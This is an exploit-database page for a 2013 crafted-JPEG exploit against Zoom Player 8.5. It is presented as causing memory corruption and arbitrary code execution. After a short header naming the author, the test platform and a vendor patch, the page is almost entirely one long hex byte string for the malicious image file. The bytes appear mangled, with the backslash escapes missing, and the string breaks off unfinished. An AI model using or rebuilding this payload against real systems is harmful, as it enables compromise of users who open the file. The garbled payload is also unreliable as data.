[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Inmatrix Ltd. Zoom Player 8.5 Crafted JPEG File Exploit
# Published : 2013-01-09
# Author :
# Previous Title : HT Editor 2.0.20 Buffer Overflow (ROP PoC)
# Next Title : Zoner Photo Studio v15 Build 3 (Zps.exe) Registry Value Parsing Exploit


# Exploit Title: Inmatrix Ltd. Zoom Player Crafted JPEG File Memory Corruption and Arbitrary Code Execution Exploit.
# Version: Zoom Player v8.5
# Date: 09-1-2013
# Author: Debasish Mandal.
# Blog : http://www.debasish.in/
# Software Link: http://www.inmatrix.com/files/zoomplayer_download.shtml
# Vendor Homepage: http://www.inmatrix.com/
# Category: Local
# Tested on: Windows XP SP2.
# Vendor Patch:  This issue is patched and affected version is removed from site.
#                 http://forum.inmatrix.com/index.php?showtopic=13904

d = "xA3xD8xFFxE0x00x10x4Ax46x49x46x00x01x02x01x00x60x00x60x00x00xFFxEDx18x2Ex50x68x6Fx74x6Fx73x68x6Fx70x20x33x2Ex30x00x38x42x49x4Dx03xEDx0Ax52x65x73x6Fx6Cx75x74x69x6Fx6Ex00x00x00x00x10x00x60x00x00x00x01x00x01x00x60x00x00x00x01x00x01x38x42x49x4Dx04x0Dx18x46x58x20x47x6Cx6Fx62x61x6Cx20x4Cx69xE5x68x74x69x6Ex67x20x41x6Ex67x6Cx65x00x00x00x00x04x00x00x00x78x38x42x49x4Dx04x19x12x46x58x20x47x6Cx6Fx89x61x6Cx20x41x6Cx74x69x74x75x64x65x00x00x00x00x04x00x00x00x1Ex38x42x49x4Dx03xF3x0Bx50x72x69x6Ex74x20x46x6Cx61x67x73x00x00x00x09x00x00x00x00x00x00x00x00x01x00x38x42x49x4Dx04x0Ax0Ex43x6Fx70x79x72x69x67x68x74x20x46xA7x61x67x00x00x00x00x01x00x00x38x42x49x4Dx27x10x14x4Ax61x70x61x6Ex65x73x65x20x50x72x69x6Ex74x20x46x6Cx61x67x73x00x00x00x00x0Ax00x01x00x00x00x39x00x00x00x02x38x42x49x4Dx03xF5x17x43x6Fx6Cx6Fx72x20x48x61x6Cx66x74x6Fx6Ex65x20x53x65x74x74x69x6Ex67x73x00x00x00x48x00x2Fx66x66x00x01x00x6Cx66x66x00x06x00x00x00x00x00x01x00x2Fx66x66x00x01x00xA1x99x9Ax00x06x00x00x00x00x00x01x00x32x00x00x00x01x00x5Ax00x00x00x06x00x00x00x00x68x01x00x35x00x00x00x01x00x2Dx00x00x00x06x00x00x00x00xA1x01x38x42x49x4Dx03xF8x17x43x6Fx6Cx6Fx72x20x54x72x61x6Ex73x66x65x72x20x53x65x74x74x69x6Ex67x73x00x00x00x70x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxB5xFFxFFxFFxFFxFFxFFxFFxFFxFFx03xE8x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFx03xE8x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFx03xE8x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFx9DxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFx03xE8x00x00x38x42x49x4Dx04x08x06x47x75x69x64x65x73x00x00x00x00x10x00x00x00x01x00x00x02x40x00x00x02x40x00x00x00x00x38x42x49x45x04x1Ex0Dx55x52x4Cx20x6Fx76x65x72x72x69x64x65x73x00x00x00x04x00x00x00x00x38x42x49x4Dx04x1Ax06x53x6Cx69x63x65x73x00x00x00x00x75x00x00x00x06x00x00x00x00x00x00x00x00x00x00x02x58x00x00x03x20xBCx00x00x0Ax00x55x00x6Ex00x74x00x69x00x74x00x6Cx00x65x00x64x00x2Dx00x31x00x00x00x01x00x49x00x00x00xAEx00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x03x20x00x00x02x58x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x38x42x49x4Dx04x11x11x49x43x43x20x55x6Ex74x61x67x67x65x64x20x46x6Cx61x67x00x00x00x01x01x00x38x42x49x4Dx04x14x17x4Cx61x79x65x72x20x49x44x20x47x65x6Ex65x72x15x74x6Fx72x20x42x61x73x65x00x00x00x04x00x00x00x02x38x42x49x4Dx04x0Cx15x4Ex65x77x20x57x69x6Ex64x6Fx77x73x20x54x8Ex75x6Dx62x6Ex61x69x6Cx00x00x14x86x00x00x00x01x00x00x00x70x00x00x00x54x00x00x01x50x00x00x6Ex40x00x00x14x6Ax00x18x00x01xFFxD8xAExE0x00x10x4Ax46x49x46x00x01x02x01x00x48x00x48x00x00xFFxEEx00x0Ex41x64x6Fx62x65x00x64x80x00x00x00x01xFFxDBx00x84x00x0Cx08x08x08x09x08x0Cx09x09x0Cx11x0Bx0Ax0Bx11x15x0Fx0Cx0Cx0Fx15x18x13x13x15x13x13x18x11x0Cx0Cx0Cx0Cx0Cx0Cx11x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx01x0Dx0Bx6Ax0Dx0Ex0Dx10x0Ex0Ex10x14x0Ex0Ex0Ex14x14x0Ex0Ex0Ex0Ex14x11x0Cx0Cx0Cx0Cx0Cx11x11x0Cx0Cx0Cx0Cx0Cx0Cx11x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0Cx0CxFFxC0x00x11x08x00x54x00x70x03x01x22x00x02x11x01x03x11x01xFFxDDx00x04x00x07xFFxC4x01x3Fx00x00x01x05x01x01x01x01x01x01x00x00x00x00x87x00x00x03x00x01x02x04x05x06x07x08x09x0Ax0Dx01x00x01x05x01x01x01x01x01x01x00x00x00x00x00x00x00x01x00x02x03x04x05x06xB2x08x09x0Ax0BxCBx00x01x04x01x22xDEx04x02x05x07x06x08x05x03x0Cx33x01x00x02x11x03x04x21x12x31x05x41x51x61x13x22x71x81x32x06x14x91xA1xE8x42x28x24x15x52xC1x62x33x34x72x82xD1x43x07x25x92x53xF0xE1xF1x63x73x35x2DxA2x75x83x26x44x93x54x64x45xC2xA3x74x36x17xD2x55xE2x65xF2xB3x84xC3xD3x75xE3xF3x46x27x94xA4x85xB4x95xC4xD4xE4xF4xA5xB5xC5xD5xE5xF5x56x66x76x86x96xA6xB6xC6xD6xE6xF6x37x47x57x67x77x87x97xA7xB7xC7xD7xE7xF7x11x00x02x02x01x02x04x04x03x04x05x06x07x07x06x05x35x01x00x02x11x03x21x31x12x04x41x51x61x71x22x13x05x32x81x91x14xA1xB1x42x23xC1x52xD1xF0x33x24x62xE1x72x82x92x43x53x15x63x73x34xF1x25x06x16xA2xB2x83x07x26x35xC2xD2x44x93x54x6Cx17x64x45x55x36x74x65xE2xF2x0Ax84xC3xD3x75xE3xF3x46x94xA4x85xB4x95xC4xD4xE4xF4xA5xB5xC5xD5xE5xF5x56x66x76x86x96xA6xB6xC6xD6xE6xF6x27x37x47x57x67x77x87x97xA7xB7xC7xFFxDAx00x0Cx03x01x00x02x11x03x11x00x3Fx00xF3xE7x74xCExB9x95xEAxACxBBx17x22xCDxE7x7DxB6x6Dx3CxBCxFDx37xF4xEBx7Fx94x9Ax9Ax72xB1x6Fx25xB9x28xC6xB1xA0x4Dx94xBFxBEx41xF7x16xB6xCCx67x3DxAFxFEx55x6BxABxBExE6x63x39x9FxA7x0Dx74xC3x6Dx92xD1x3FxD7xFDxE5x4Fx11x8ExCBxC9xB7x27x35xBBxF2x5CxE9x73x8Cx6Ax1BxECxAFxFEx83x56x78xE6xE4x60x78xA0x23x10x34x03xAFxF8xECx63x26xF7x1BxFAxB5xF1x7AxC7xD6xB6x52xC7x8AxCEx4Bx1Cx24x7AxEDx12x22x7Ex8ExD7x52xF7x35xCAxC3x73x7AxD7x50xC6x7Bx6DxB9x98xBAxB8x5AxCAx6BxF7x85x3Fx9Ax36x3DxEFxFAx4Dx77xD0x6AxD3x1Bx5Cx20x82x40xF2xD7xF2xA1x59xF7x55x6FxDDx45x9Bx09xE4x10x4Bx09xFEx53x25xBExE5x50xE4x81x3Ax62xC7x09x5Dx89x08xFFx00x2FxFAx2Bx7DxCFxA3x73x07x07x1Fx13x19x94xE3x68xC0x04xC1x10xE2x04x6Fx74x7Dx27x23xD4xFCx61x90x69xB6xE2xCBxADxAFx7Dx4Dx1Fx9Cx03xA3xFBx3ExEFxA0xB0xB2x3Ax85xB8x14xB9xDBx4FxA2x75xB1xF5x70x09xF6x83xB6xD6x3Fx6BxBFxF3xE2xA9xFBx63x04x65xD7x90x32xAExB9xF9x20xB2xE7x6Dx1BxEAxD8x19xE8x86x57xE9xFDx0FxA7xEDx6Ax6Cx79x7Cx92x26x64x19x03x74x47xA8xF1x0Fx57xA9xBDx5ExBBxBDx23xAAxA1xC0x8BxDAxC7xD2x01x75xBExA6xACxD8xDFx7BxDCxFDxDFx9AxD6xACx19x2Cx2Cx2DxAFx2Cx71x55x4DxA5xCExACxD8x03xD7x19xB9xDEx88xB3x76xEFxF0x3Bx53x5Fx5Fx54xCExA8xD4xCBxEDxC7xC3xB0x45xA6xE2xDFx51xEDxE7x6Bx69xA8x37xD2x67xFCx63xD5x2Dx7Cx40xDBx03x1Fx99x91x63x59xEEx01xCDxADxC4x11xABx37xB9xCDxF7x31x3Ax11xE0x89xFDx60x06x47x58x83x2DxA3xFFx00xC1x89x04xD0xDDx03x59x89x8FxC9x32x70xACxAEx8Cx96x7BxABxB9x84x9Dx90x47xD1xB6xBFxE6xECxA5xFFx00x9ExAAxE5x7Dx76xEAx59xB8xE7x14x57x56x3FxA9xFCxEDx95x17x87x6Cx0Fx73xEBxAEx5CxEFx4Bx7ExDFx72xD9xCCxC6xAAxDBx2Ax6DxC1x9Bx2Fx92xCBxD8xD0x19x32x77xD1xB5xBExDAxEExFFx00x81x77xFDx6Dx31xC3xC4xBCx7Dx96xFAxD8xFCx73xCBx60x35xCDx6FxEFxB2xD0x37xB7x6Ax6Ax9Ex20x44xB2xC0xE4x90xD6x32x91xD6x11xFFx00xBBxFExE2x63x3Ax1AxEAxD3x77xD7xB1x61x0CxA7x03x63x9Cx76xB3x7DxDExC1x27xDBxBBx65x6DxF6xADx0Cx9Cx36x66x58xDBx73xC0xC9xB1x82x1AxD2x22xB6x7ExF7xA3x4Cx9FxA5xFBxCExF7xAEx0AxACx2Cx9Cx9Fx50xE2x53x65xF5xD6x4CxBDxADx24x01x3ExDDxCEx1ExDFx72xE8x7Ax7Ex4FxD6x3AxDBx45x39x75xB5xB4x3DxB3x5DxA9x37xF4x84x37xF3x7Dx8Fx6BxF7xFFx00xC7x35x49x9Fx95xC7x8Ax8Ex03x1Cx72x17xC4x0CxE5xEEx7Fx83xC5xC5x25xF3x1Ax68x69xD4x1Dx33xA6x3Ax77xB3x1Ax97xB6x35x9AxDAx08x23x91xBBxE9xAEx6FxEBx07x4BxA3x01xF5x5BxF5xE2xCAxEFx2Ex1Ex89x71x3Bx4Bx43x75xADxD3xB9xD5xFBxBFx3FxE8x2DxACx67xDDxF6x2AxBAxDBx68xDCxE7x0Bx61xC0x48xDDxECx3Ex94xFFx00x83x66xD6xB1x66xF5xDEx9Fx75x95x3Bx30xDExFBx4Dx02x5Ex1Ex08x80xD2x43x7Fx43xE9xB1x8DxAFxF9x5FxBEx97x2Dx39xFDx34x44xB2x1Ex13x5Ax1Bx3Cx5Cx63xD2xB6x26xA5xBBxFFxD0xE0xB2x3AxDBxEFxACxD6xCAx18xCDxFAx38xBCxEFx91xE6xD7x06xB1x47xA4x3BxA8xD7x92x29xC1x70x2Ex70x2Fx12xB7x0Fx60x63x07xA9x65x96xEExFEx6Dx95xD6xDDx9BxB1x8BxA9xEAx38x78x59x74x3AxCCxAAx05xD6x53xB5xCDxB0x12x1ExE0xD2x26x97x3AxBDxAEx73x2Dx9DxAAxD6x5Ex0Ex0Dx94xB6xBAx70xABxC3x73x20x36xECx66x96x58x5Ax34xF4xAExD4xFDxA2x97x37xF9xC6x5ExB2xC7x39x84x63x31x18xCCx78xAFx7FxD6x43x88x77xFDx29x31x89x44x0AxADxDAx18x96xE7x64x08xBCxD0xC6x3BxB3x03x9Cx49xFDxDFxA4x07xB9xDFx9AxD5xB9x87xF5x7ExFCxCEx9Fx66x53x2Ex68xB9xACxB4x0Ax80x30x42x0Dx7BxF1x35xFAx4DxA9xEEx67xA7x73x7Fx9CxF5x3Fx9Bx54x71xB1xEFx7Ex4BxDBx56x33xEFx1Fx45xA0x36x0Dx82x3Fx32xB0xE2xF6xBDx8Bx47xA7x75xE7xE2x65x7Ax8Ex73x06x2DxE1xE2xCAx8Bx4BxAFxB2xC6x6Dx67xE8xB6xFFx00x35x6FxAAxE6xECxC7xB3xFExEDxFDxA2xCAxFDx3AxD5xBEx5Bx95xC3x2Cx63x21x81x91x97xE8xD1xE1x6Cx60xE5xA1x38x71x11x67xF7x7Ex57x9AxFAxE5xF5x7BxACx51xD4x73x59x53x6Cx77x48xC2x0DxB6xBBxECx0Dx6Bx75x6Dx2DxDAx4Bx7Fx9ExBBxEDx9Ex3Fx64xA7xF7xEDxF5x76x7Fx33x91xE9x7BxE9x3Dx34x74xFAx2DxEAx9Dx41xECx60xA9x93x45x23xDExF3x63xBFx9Ax6Cx37xD9x5FxA8xEFx67xD3xFDxA1xE9x17xA0x75x0CxBCx9ExB5x91x46x25x4Dx65x35x75x42x32x4Cx96xC7x0Bx5Ax06x39xB5x8ExC7xC7x78xFAx3Ex97xD3xCAxB3xFCx2FxADxFAx3FxD1xAEx6FxACx7Dx5BxEAxCExC3xB3xD5xA5xA1xCDx7Dx35xB5x9BxBEx9Dx96xCFxC4x6Dx31xF4xEAx6FxF8x4FxF8x4Fx65x48x67x04x7ExAEx10xFDx55xD6x43x1FxF7xFDx29x01xC3xFFx00x4Dx8Fx24x08x3Cx31x1Ex90x6Ax64x6Cx3Fx4Ax41xA8x3AxCFx4FxB2xB0x59x73x5Dx64x0FxD1x80x41x2ExFFx00x47x5ExE6xB7x77xBBxDAxADx6FxAFxD2x6Bx8Bx43x1CxE0x0BxBBxC7xF2x77x0FxDDx59x4CxE9x5Dx3Bx12xDAxCAxEFx2ExCCxCCx73x37xB2xB6x68xD0xE9xF6x1FxDEx63x1DxFEx91xFExFFx00xDCxA9x1Ax93xF9x75xF5xFAx95x6DxC6xB0xB9x90x7DxF1x3Ax7Bx9AxCBx7Fx44xDFx55x9Bx9BxFDx45x47xD9x84xA4x3DxBEx2Ex02x7Ex79x22x6FxFBxBFxFAx2Bx53x88x24x0BxDCxA6xCCx2Ex7Dx2FxA6xBDxADxC8x70x9Ax9Ax79xDCxC7x07x7Ax9FxC9xF4xBFx7Dx1Dx9Fx53x7AxCFx51x65x37x64xE5x1Bx31xEDxDAxE7x32xB1xE9xB3x69xADxF9x36x4Cx7Ex6Dx6DxA7xD2xDDxFEx95x5FxB7x03x15xF4xB7xA8xB4x87x65xB4xFAx76xDEx60x0Bx99xB5xACx63xEDx06x1FxF6x9FxD0xFAx19x14xFFx00xA7xA3xD4xFEx71xF7x7Ax9Dx67x4AxCCxC0x10x14x5BxD3x71x5Cx58xDAxA8xFBx39x2ExF6x87xEFx73xDBx99x7Ex2ExBBxADxA9x9Bx6DxAFxD6xFDxFFx00xF8x3Fx7AxD2x1Cx8Cx31x00x38xEEx56x4Fx15x0BxFFx00xBAxE1x6Dx3Ex4Fx80x6Ax7AxEFx5Fx8BxC5xBAxE1x8AxFCx6Cx1Ax31xDDx5FxDBx2Ax19x75x51x58x0CxACx52xE2x6BxFBx4BxFFx00x77xD4xF4xFFx00xE3x14xB3x5Bx8Dx5Ex3BxB2x2Fx8AxE9xABx57xD8xE3x10x7Cx1Ax7Ex96xFFx00xDDx6Bx3DxEBx6FxEBxB7x4ExC3x83xB2xBBxB2xB2xECxC5xC6xC1x02x91xF6x70x5Dx6Cx21x6Bx55xCExD6x8DxACx7Ex45xCEx6Dx7FxCFx3ExACx7Cx3AxAAxFFx00xABxF4xF8x0Cx8FxABxBDx4DxCExB7x19xD9xB5xD8x71xD9xEBx9AxACxB5xE5xBFxCAxF4xEDx7Bx45x4ExB2x96xB9x9ExA3xFFx00x45xF4xFFx00x46xA8x64xE4x61x19x8BxC8x61xFDxEFxE7x27xFBxD3x6Bx4Bx1Fx09xA3xA7x9FxCDx21xFBxCBx56xF3x9BxD5x47xA0x3BxF6x6BxABxB5x9ExABx81xFAx12x62xEDxDAx7Dx0Bx85x7Bx3Fx97xB1x6BxBFx1ExBBx5Ex1Bx61x36xF7x15xBFx50x23xF3x8Bx3FxC2x7Fx59x77x27xA7x53xD6x70x43x02x6Ex1DxB9x26xB2xD2x6Ax63x5CxE8xAExF0xD3x5DxD5xB9x81xFExCBx5ExAFxD1xA3x3BxACx61xBFx05x99x65xA4x5Ax2Fx6Bx18xD2x64xEDx3FxCFx3CxB0x7Dx36xD7x5Bx3Fx47xFFx00x0Bx72x97x2Fx2Dx94xCEx87xA2x31xF9x8Ax25xE3xD2x8FxFDxDCx97x4Bx14x89xFDxDAx04xEBxFDx5FxD1xFExF3xFFxD1xCFx60xC4xCBx21xFFx00x6Ax65xACx60x0Ex6Dx74xD8x00xDCx08x2DxB2xD7x35xDExADx9Bx5FxFCxDBx7Dx95x7FxC1xFAx88x3Dx4BxEBx15x78x77xB2xCBx2Fx66x55xB2x7Bx6CxAAxB7x30xDBx93xDBx1ExE7x6Dx3ExFAx6Cx6FxFDx35xC7xE6xE2x1AxAExB1xC3x1DxD5x50x5Cx5CxC0x4CxC3x49xF6x87x3Dx9Bx9BxEDx55x86xC9x00x34xC9xE0x34xEBxFFx00x95xB3x61xF0xFCx72xA9x19x99xC2xBEx5Ax8Fx5FxEBx44xACx10x1DxF4x7AxEExADx7DxBDx67x16xB6x50x3ExCDx55x36x7Ax8CxF5x01xF5x6Cx71x6ExD6xBCx31xBExDAx2Bx64xBBxFCx2FxA8xF5x7Ax9FxABxDDx5ExCCx6FxB6x16x67xDBx50x60x7Dx99x4Fx78xB1x8Ex68xDBxB6xEAx85x23xD4xFDx0Bx1BxE9xBEx55x6FxACxFDx9FxF1x7Ex92xC6xC2xC9xEAx99x15x83x5Ex11x20x7Fx86x71x0Dx11xF4x67xF4x8Ex66xE7x6Ex6FxE6xABx18xF9x1Dx6Bx0CxD8xECx3Cx59x8CxFBx03xC9xB6x8Bx5CxC2x5Ex04xFAx8ExADxCFxFExCBxFEx9Ax7Fx2Fx2Fx62x5Cx27x83x82x3FxA1xC5x09x1Fx19x4BxF4xD3x86x67x1CxC1x34x40xFDx1Bx7Bx3Ex9BxD6x3Ax75x2DxC5xF5xACx69xFDx2ExE7x91xEExDAx5Fx5BxA9xF5x5Bx1ExE7x7Ex81xDFxA7xD9xF4xD9x47xACx9FxEBx6Fx5AxC7xFBx35x8DxA4x9Ax9Fx69x75x4DxB8xB9xACx76xCAxC5xD8xFBxB1x1Ex15xD8xFCxC7xDFx97x4Dx56xFFx00xDCx7AxEExBDx71x99x7Dx49xF9x0Fx1Dx43xEDx21xB9x16x37x7Bx2BxB1xA1xBBx9ExF6xEDxDDx4FxA7xE8x5Bx53xACxFEx47xB3x7FxE9x10xAFxEAx3Dx2AxAAxDAx1Fx7FxAEx5AxD0xD0x3Fx9Cx76xD0x34xADxADxFAx15xB5xBFxE8xF7x2Bx19x39xB1x20x4Cx23x33x39xE9xC3xC3xC3xC1xE7x26xCEx5Ex6Bx1CxA3x70x84xB8xE5x60x83xB3x73xA1xE5x63xE2x64xD1x6BxC3xB2x0Dx0Fx0Ex36x38x83x63xA5xC5xDBx5CxFFx00xCExDAxE3xE9xAExBFx2BxA8xF4xAAx7Ax4DxC2xA0xD3x51xB1xACxAFx16xD6xEFx2ExDFx55x6Dx76x3ExC7x39xAFxF7xDDxBExC7x5Dx5FxE9xBFx43x7BxD7x96x9ExA9x58xB5xCFxAExB7x57x5CxC3x6Bx69x68x6Cx7ExF3xEBxF6xBDxDFxC8x45xABxADxE4x51x77xA9x86x7ExB3x6BxF6xD2xD2x4Bx43x04xFBxB6x68xEFx7Dx9FxE1x1ExA5xE2xACx54x21x73xABxE1xBEx1Fx57xF7xFFx00xAAx88xE4x84x71x57x09x33xDExAFxAFxF5xA4x49x1Dx47x26x89xCAxC6xA0x3AxECx3BxDBxB1xAEx2Dx6Bx2Ex61x00x06x5Cx19xA5x79x1Ex93x9BxFFx00x03x97xE8xFDx3Fx5AxD5xCDx37xEBx0Fx53x6Fx54xC7x9Bx5Fx8Ax58xFDx85xCDx9AxC8x05x83x14x0DxA7x6FxA6xC6xD2xC6x37xFFx00x04xFEx71x07x33xEBx0Ex56xCDx95xE3x9Cx7DxF3xB1xF6x49x74x7Fx23x73x58xCDxC8x18xF4x7ExD1x7Dx56x5CxC7xDExE2xC8xB1xE1xD0x64x39xE0x6Ex73xBFx7Bx6Ax82x39x79xF8x12x73x54x47x43x1AxE2x8Fx6FxEAxF0xACxFBxC6x63x1Fx51xAAxFDx9Bx3Dx8BxDBx66xD9x76xEBx9CxC6xEDx68x24x13x03xF3x2Bx6FxB6xB6x2Ex6Fx3ExFCxAAx73xEFxFBx65x6ExC5xB6xE0x48x75x91xFCxD5x81xBCxEDxF6xD9xEDxADx59xE9x58x9Dx62x87xC8xAExCFxFBx36x37x66x96x7DxA5xC1xBEx55xBFxD3x6Bx3FxEDxD6x2Bx1Dx43xA7xE6xB8xBFx2Ax9ExA5x89x93xBAx9Fx41xF4x3AxB7xB5xCEx68x2Ex0Dx71x28xBExABx28xF5x1AxD7xFEx65xAAxB6x09x4Fx1Ex59x4Ax59x21x9Bx8Cx7CxD2x94xB8x98xA1x93x86x46x52x22x44xFExF2x5Ex85xF5xB6xAEx9DxD1x32xF1x9Ex0BxAFx73x83x2AxC8x2Ex8Fx4DxA1x85x98xFEx93x5DxEExDExDFx5AxDFx4Fx7FxF3x3FxCEx2Cx27xE2x60xE5xFAx58xBDx3Fx1DxB5x7Dx9DxAEx36x64xBExC2xEBx2Dx71x3Bx9ExF7x32x7Dx3AxA9xAFxD9x56x2Dx7Bx19xF9xF6xDBx65xAFx50xC3xE9x58xB6x86xDBx63xDDx65x47x53x53x4Cx7Cx8BxB5x72xD4x65x55xD5x63x5Bx87x5Bx5Ax2BxAAxCBx0Dx65xC1xBAx0Dx85xDFxA6xB4xFDx3DxADxF6x7Ax8AxC6x5Ex6AxC0x84x3Ex71xD7xC5x39x73x99x50xEAx3AxBFxFFxD2xE6x99x4Ex45xD6x6DxA9xA2x49x80x4CxEDx93xFBxDAx2ExABxA6xFDx4CxC2x7Ex05x57xF4xE1x17xBBxD0xADxCEx22x37x39xCFx77xDAx2Cx92x6CxDAxFAxA9xB1x95xFBx7Fx3Fx1FxD4xFFx00x08xB2xCFx50xC7xBFx0DxB9x14x51x56x26x55x5Bx8DxB5xD6xD7x34x59xB8x31xACxB3xD1x73x59xE9x6FxFFx00x09x53x7Fx99xB3xF9xBFx5AxBFx4FxD2xD7xE9x3Fx58x5Fx83x8Bx5Dx97x38x7Dx99x8Fx25xC2xBDx5CxD0x5AxE7x3Bx7Bx47xEEx1Cx6Bx1AxC7x5BxFFx00x9ExD4x23x0Ex3Cx78x84x65x1Fx74xE5x23xE5xF9x7Dx3FxA2xD8xC5xCAxC7xDAx24xD4x73xBDx5BxFAx68x7Ex8Bx4FxA9xF4xF3x55xF6xDBx40x0CxC5xB7x21xF4xE1x35xCEx25xCFx6Dx67xCExB6xBDxD3xBExBDxCDxFAx5FxBFx62xA2xFAx0Bx65xC4xEAxDFx6BxDBxDCx1Ex76xB8x2AxBDx7BxEBx23x72xFAx8Ex3Ex56xE1xF6x37x97x55xE9xEDx3Bx69xA4x6Dx6Ex3Bx1BxB9xADxD9xB7xF9xCBx3FxD2x29x38x96x35xD2xE1x4Bx20xCDx9Ax06x0FxEBxA2x25x66xE6xC3x59x00x88x31x13x35x1Ex2Fx45xEBxC3xFAx5Fx2Bx46x63xD5x43xA9xF4xDFxA5xA3xB7xF1xAAxC4xF4x72x9CxC0xCCx7Bx1Fx5Cx3Cx7ExEBxB7xD6xE6x7ExEBxB6x3Dx8Bx9Fx76x26x4BxECxB3xD3xA5xEFx68x73xBDxC1xA6x39x5DxFFx00x52xC2xE8xC4xB7x21xB5x11x6ExCCxBAxABx2DxC7x10xEAx58xEAxABxD6xFCx57x30x7Fx35x91x5Dx9Bx9FxFFx00x17xFCxB5x77xEBx46x27xD5xECx06xB6xCAx9Cx37x2CxF2xB6xBDxD8xF4x8DxC7x71xDBxEAxE5xDCxC6xFBxCDxF5x36xFAx7Bx2Dx7Dx1FxA6xB2xCBxBFxC1xABxDExD4xB0x09xC8x11x29xFCxD2x81xE9xF4x6Cx4Fx0CxF1xC0xCCxF5x37x4Fx9AxD1xBAx6Dx3ExA1xB7x2Ex43xD8xE8x14xB9xA4x47x7DxEExDCxB4xBAx5Dx4Dx38xF4x16x98xB0x02x1DxE3x2Dx2Fx88xFExB6xD5x0Bx59x7Bx9ExD7x06xB7x1DxA0xCCx6Ex73xDCx40xD0xEExF4x36xD7xFEx6DxB6xACxEAx7AxB5xB8x4DxA5xF5x7Ax46xA7x17xB6xF6x6Ex2Fx2Fx69x73xBFx9ExA4xFFx00x36xD6xFFx00x83x50x88xCBx39x3Cx52x23x88x8DxBDx42x1Ex99xFFx00x8CxC0x07x19xD4x91x7Fx5Ex17xD3xF1xB0xBAx6DxF8x65x96x33xEDx42xCAx8Bx33x31xDFx63x9Dx5DxD9x3Fx6FxADx7Ex31x7ExEFx4ExCAx9DxB2xFAxB6x7Ex93xFCx17xEEx2Cx0ExB9xF5x38xD3x75x35x60x6ExACx55xF6xCBx33x2Dx67x23x1DxB6xD3x5Fx4DxC7xA4xFDx16xFEx8DxFEx87xD3xFFx00xB9x39x16xFEx89x5DxE9x7Dx52x91x8CxCAxB1xADx6Bx5Fx90x43x2BxB6x37x06x6Ex1ExEBx3Dx3Bx36xB9x57xEBx91x77x27xA8xD0xDCx7Ax32xE9xC1x73x23xD5x2Ex70x3ExA1x63xBFx46xCCxB7x35xCCxA7x1AxABx36xFAxF7xB3xD5xB7xD3xF5x3Dx1Fx4AxD5xA1xC3x88xC8xC2x30x88x86xEDx5Cx27xFBx8Ex9CxB9x7Cx54x0Cx44x78x7FxABxFAx5Bx7CxBFxDEx6AxFDx48xC5xA6xD6xD9x8Cx6AxDAx01xB8x75x0BxDCx67x75x4Ex6ExDFx49xAFx25xBEx86xC7xB3xF9xC5x8Dx98xCFx4Bx9Cx21xFExA1x0ExAExB7xB4x1AxDCx60x90x4Bx25x92x3DxCDxB1xFFx00x9FxFBx8AxCFx51xF4x3Ax70xBBx23x02xCAx32xABxBBx73x1Cx31x9Fx65x95x35xD6x02x2BxF5x1CxFCx7Cx7Ax7FxD2x3AxA6x36xCBx77xFDx35xC9x8Bx2Ex2Dx78x2Fx74x06xEDx22x4ExA2x67x6FxF5x7FxC2x28xF9xACx71xC9xEDx88x90x3DxB3xDBxF4x58x39xC1x8CxFBx51x81x1Ex80x76xEDxFFx00xA1x37xEAxCBxC3xC1x98x22xA6x82xD3x59xDAx1CxD9x25xC5xBExBExEBx3Bx5BxB9xEAxAEx6DxB9x17x1AxACxBCx16xB6xD0x5Dx55x53xA8x64xEDx0Ex73x8FxEFxB9xAAxBBx6Ax75x87xDBx1Ex65xC4x34x69xAFxD2x74x35x1ExACx1Bx6FxADx96x35xC2xD7x91xFCxC8xDCx5Ex1Ax3Ex8Fx6DxADx67xF6x93x38x21x03xC6x4ExBBx13x2Dx7Ax7FxCDx6AxFAx46xAFxFFxD3xC1xC4xEAxB8xB8xBBxEFxB6x9Ax73x1CxC9xD8xCBxBDxECx2Ex68xF7x35x8CxDCxDAxF2x3DxCExDAx87x73x9Fx9Bx90xC7xE7x52xCAx7Dx66x97x1Ax71x41xAAxB0x6AxDBxE9xFEx88xBDxFExA3xABxACxFEx7Bx96x47x5CxBBx1Fx65x14xB3x4Cx8Ax5Cx63x6Ex9Bx19x03xD9xFEx7FxB9xAAx78xFDx73xD4xF4x0Ex4Bx49xB2x4Ex51x58xF6xC4x3AxA2x3Dx3Bx3Dx9FxE9x3DxDBx96x78x8Ex5Fx68x1Cx76x01xE2xD3xE5x9FxF5x7FxC6x63x1Cx7Cx34x0Dx0Dx74x1Ax3Bx19x8FxEAx78x18xA3x37xA4xE4xD4xC1x48x26xC3xB5xAEx71x6Ex83xD4x02xD6x59xEEx67xBBxD4x66xD5x47xAFxE1x8BxD8xFExA1x70x65x99x4CxD9xEBx7Ax6Dx15xD7x71x3Bx6Ax73xBDx1Cx71x5Bx6BxB1xEExF7xFEx87x62x6BxFAxDFx4Ax35xBDx83x75x8Cx7FxD3xAFx61x1Bx81x11xF4x97xF7x2Ax78x79xB1x75x6DxF5xEDxDCxEAxB4x6ExFExC0x7Dx0FxFAx09x42x5CxD1x11x94xE5x3FxD5xCBxF4xBEx69xC1x5FxA2x8Ex2Cx94x09x24xD7x77xA0xC0x2Fx67x45xADxF8x95x8Cx4CxA6xB5xEDx65x56x64x3AxFFx00xD1xD8x0FxADxBBx18xD1xF4xB5x7FxA3xDDxE9xFDxA7xD4xF7xFFx00x36xB2x4Ex63x3Ax6Fx50xB1xD9x2ExB2xC3x93x53x6Cx7DxA3xDCxF3xB0xB9xCFx75xC7x5Fx66xFDxF6x23x57x